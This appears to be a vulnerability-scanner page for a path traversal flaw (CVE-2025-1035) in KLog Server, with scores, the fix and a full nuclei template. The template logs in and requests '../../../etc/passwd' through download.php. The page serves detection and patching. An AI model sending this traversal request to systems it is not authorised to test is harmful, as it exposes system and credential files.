CVE-2025-1035· klogserver / klog server· CWE-22
KLog Server - Path Traversal
mediumseverity
5.7CVSS score
9.8%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Komtera Technolgies KLog Server allows Manipulating Web Input to File System Calls.This issue affects KLog Server: before 3.1.1.
Impact
Authenticated attackers can exploit path traversal vulnerabilities to read arbitrary files from the KLog Server, potentially exposing sensitive system files, configuration data, and stored logs.
Fix
Upgrade to KLog Server version 3.1.1 or later that addresses the path traversal vulnerability.
How to confirm it
Send: POST /actions/entree.php ; GET /actions/download.php?action=web&file=../../../etc/passwd&name={{filename}}.zip
Positive when: regex('root:.*:0:0:', body_2) and contains_all(header_2, "application/octet-stream", "filename=") and status_code_2 == 200Run it with nuclei: nuclei -id CVE-2025-1035 -u <target>
The full check
id: CVE-2025-1035
info:
name: KLog Server - Path Traversal
author: s4e-io
severity: medium
description: |
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Komtera Technolgies KLog Server allows Manipulating Web Input to File System Calls.This issue affects KLog Server: before 3.1.1.
impact: |
Authenticated attackers can exploit path traversal vulnerabilities to read arbitrary files from the KLog Server, potentially exposing sensitive system files, configuration data, and stored logs.
remediation: |
Upgrade to KLog Server version 3.1.1 or later that addresses the path traversal vulnerability.
reference:
- https://www.byresearchers.net/2025/02/cve-2025-1035-klog-server-31.html
- https://www.usom.gov.tr/bildirim/tr-25-0037
- https://www.cve.org/CVERecord?id=CVE-2025-1035
classification:
epss-score: 0.09782
epss-percentile: 0.95576
cvss-metrics: CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
cvss-score: 5.7
cve-id: CVE-2025-1035
cwe-id: CWE-22
metadata:
verified: true
max-request: 2
vendor: klogserver
product: klog_server
tags: cve,cve2025,klog-server,lfi,vuln
variables:
filename: "{{to_lower(rand_text_alpha(6))}}"
http:
- raw:
- |
POST /actions/entree.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
user={{username}}&pswd={{password}}&action=login
- |
GET /actions/download.php?action=web&file=../../../etc/passwd&name={{filename}}.zip HTTP/1.1
Host: {{Hostname}}
host-redirects: true
max-redirects: 3
matchers:
- type: dsl
dsl:
- "regex('root:.*:0:0:', body_2)"
- 'contains_all(header_2, "application/octet-stream", "filename=")'
- 'status_code_2 == 200'
condition: andReferences
- https://www.byresearchers.net/2025/02/cve-2025-1035-klog-server-31.html
- https://www.usom.gov.tr/bildirim/tr-25-0037
- https://www.cve.org/CVERecord?id=CVE-2025-1035
Use this check only on systems you are authorised to test. Where the data comes from